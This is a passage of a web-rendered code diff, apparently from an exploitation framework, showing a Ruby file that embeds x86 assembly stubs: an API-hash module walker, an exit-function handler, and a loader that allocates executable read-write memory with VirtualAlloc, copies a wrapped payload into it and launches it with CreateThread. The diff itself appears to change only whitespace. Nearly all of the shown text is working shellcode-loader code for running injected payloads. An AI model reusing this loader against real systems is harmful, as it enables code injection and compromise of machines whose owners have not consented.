get_next_mod: ;
|
get_next_mod: ;
|
||||||
pop eax ; Pop off the current (now the previous) modules EAT
|
pop eax ; Pop off the current (now the previous) modules EAT
|
||||||
get_next_mod1: ;
|
get_next_mod1: ;
|
||||||
pop edi ; Pop off the current (now the previous) modules hash
|
pop edi ; Pop off the current (now the previous) modules hash
|
||||||
pop edx ; Restore our position in the module list
|
pop edx ; Restore our position in the module list
|
||||||
mov edx, [edx] ; Get the next module
|
mov edx, [edx] ; Get the next module
|
||||||
jmp next_mod ; Process this module
|
jmp next_mod ; Process this module
|
||||||
^
|
^
|
||||||
|
|
||||||
stub_exit = %Q^
|
stub_exit = %Q^
|
||||||
|
@ -1834,48 +1834,48 @@ End Sub
|
||||||
; Note: Execution is not expected to (successfully) continue past this block
|
; Note: Execution is not expected to (successfully) continue past this block
|
||||||
|
|
||||||
exitfunk:
|
exitfunk:
|
||||||
mov ebx, 0x0A2A1DE0 ; The EXITFUNK as specified by user...
|
mov ebx, 0x0A2A1DE0 ; The EXITFUNK as specified by user...
|
||||||
push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" )
|
push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" )
|
||||||
call ebp ; GetVersion(); (AL will = major version and AH will = minor version)
|
call ebp ; GetVersion(); (AL will = major version and AH will = minor version)
|
||||||
cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7
|
cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7
|
||||||
jl goodbye ; Then just call the exit function...
|
jl goodbye ; Then just call the exit function...
|
||||||
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
|
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
|
||||||
jne goodbye ;
|
jne goodbye ;
|
||||||
mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
|
mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
|
||||||
goodbye: ; We now perform the actual call to the exit function
|
goodbye: ; We now perform the actual call to the exit function
|
||||||
push byte 0 ; push the exit function parameter
|
push byte 0 ; push the exit function parameter
|
||||||
push ebx ; push the hash of the exit function
|
push ebx ; push the hash of the exit function
|
||||||
call ebp ; call EXITFUNK( 0 );
|
call ebp ; call EXITFUNK( 0 );
|
||||||
^
|
^
|
||||||
|
|
||||||
stub_alloc = %Q^
|
stub_alloc = %Q^
|
||||||
pushad ; Save registers
|
pushad ; Save registers
|
||||||
cld ; Clear the direction flag.
|
cld ; Clear the direction flag.
|
||||||
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||||
delta: ;
|
delta: ;
|
||||||
#{stub_block}
|
#{stub_block}
|
||||||
start: ;
|
start: ;
|
||||||
pop ebp ; Pop off the address of 'api_call' for calling later.
|
pop ebp ; Pop off the address of 'api_call' for calling later.
|
||||||
|
|
||||||
allocate_size:
|
allocate_size:
|
||||||
mov esi,PAYLOAD_SIZE
|
mov esi,PAYLOAD_SIZE
|
||||||
|
|
||||||
allocate:
|
allocate:
|
||||||
push byte 0x40 ; PAGE_EXECUTE_READWRITE
|
push byte 0x40 ; PAGE_EXECUTE_READWRITE
|
||||||
push 0x1000 ; MEM_COMMIT
|
push 0x1000 ; MEM_COMMIT
|
||||||
push esi ; Push the length value of the wrapped code block
|
push esi ; Push the length value of the wrapped code block
|
||||||
push byte 0 ; NULL as we dont care where the allocation is.
|
push byte 0 ; NULL as we dont care where the allocation is.
|
||||||
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
||||||
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||||
|
|
||||||
mov ebx, eax ; Store allocated address in ebx
|
mov ebx, eax ; Store allocated address in ebx
|
||||||
mov edi, eax ; Prepare EDI with the new address
|
mov edi, eax ; Prepare EDI with the new address
|
||||||
mov ecx, esi ; Prepare ECX with the length of the code
|
mov ecx, esi ; Prepare ECX with the length of the code
|
||||||
call get_payload
|
call get_payload
|
||||||
got_payload:
|
got_payload:
|
||||||
pop esi ; Prepare ESI with the source to copy
|
pop esi ; Prepare ESI with the source to copy
|
||||||
rep movsb ; Copy the payload to RWX memory
|
rep movsb ; Copy the payload to RWX memory
|
||||||
call set_handler ; Configure error handling
|
call set_handler ; Configure error handling
|
||||||
|
|
||||||
exitblock:
|
exitblock:
|
||||||
#{stub_exit}
|
#{stub_exit}
|
||||||
|
@ -1884,20 +1884,20 @@ End Sub
|
||||||
xor eax,eax
|
xor eax,eax
|
||||||
; push dword [fs:eax]
|
; push dword [fs:eax]
|
||||||
; mov dword [fs:eax], esp
|
; mov dword [fs:eax], esp
|
||||||
push eax ; LPDWORD lpThreadId (NULL)
|
push eax ; LPDWORD lpThreadId (NULL)
|
||||||
push eax ; DWORD dwCreationFlags (0)
|
push eax ; DWORD dwCreationFlags (0)
|
||||||
push eax ; LPVOID lpParameter (NULL)
|
push eax ; LPVOID lpParameter (NULL)
|
||||||
push ebx ; LPTHREAD_START_ROUTINE lpStartAddress (payload)
|
push ebx ; LPTHREAD_START_ROUTINE lpStartAddress (payload)
|
||||||
push eax ; SIZE_T dwStackSize (0 for default)
|
push eax ; SIZE_T dwStackSize (0 for default)
|
||||||
push eax ; LPSECURITY_ATTRIBUTES lpThreadAttributes (NULL)
|
push eax ; LPSECURITY_ATTRIBUTES lpThreadAttributes (NULL)
|
||||||
push 0x160D6838 ; hash( "kernel32.dll", "CreateThread" )
|
push 0x160D6838 ; hash( "kernel32.dll", "CreateThread" )
|
||||||
call ebp ; Spawn payload thread
|
call ebp ; Spawn payload thread
|
||||||
|
|
||||||
pop eax ; Skip
|
pop eax ; Skip
|
||||||
; pop eax ; Skip
|
; pop eax ; Skip
|
||||||
pop eax ; Skip
|
pop eax ; Skip
|
||||||
popad ; Get our registers back
|
popad ; Get our registers back
|
||||||
; sub esp, 44 ; Move stack pointer back past the handler
|
; sub esp, 44 ; Move stack pointer back past the handler
|
||||||
^
|
^
|
||||||
|
|
||||||
stub_final = %Q^
|
stub_final = %Q^
|
||||||
|
@ -1912,7 +1912,7 @@ End Sub
|
||||||
stub_alloc.gsub!('byte', '')
|
stub_alloc.gsub!('byte', '')
|
||||||
|
|
||||||
wrapper = ""
|
wrapper = ""
|
||||||
# regs = %W{eax ebx ecx edx esi edi ebp}
|
# regs = %W{eax ebx ecx edx esi edi ebp}
|
||||||
|
|
||||||
cnt_jmp = 0
|
cnt_jmp = 0
|
||||||
cnt_nop = 64
|
cnt_nop = 64
|
||||||
|
|
Loading…
Reference in New Issue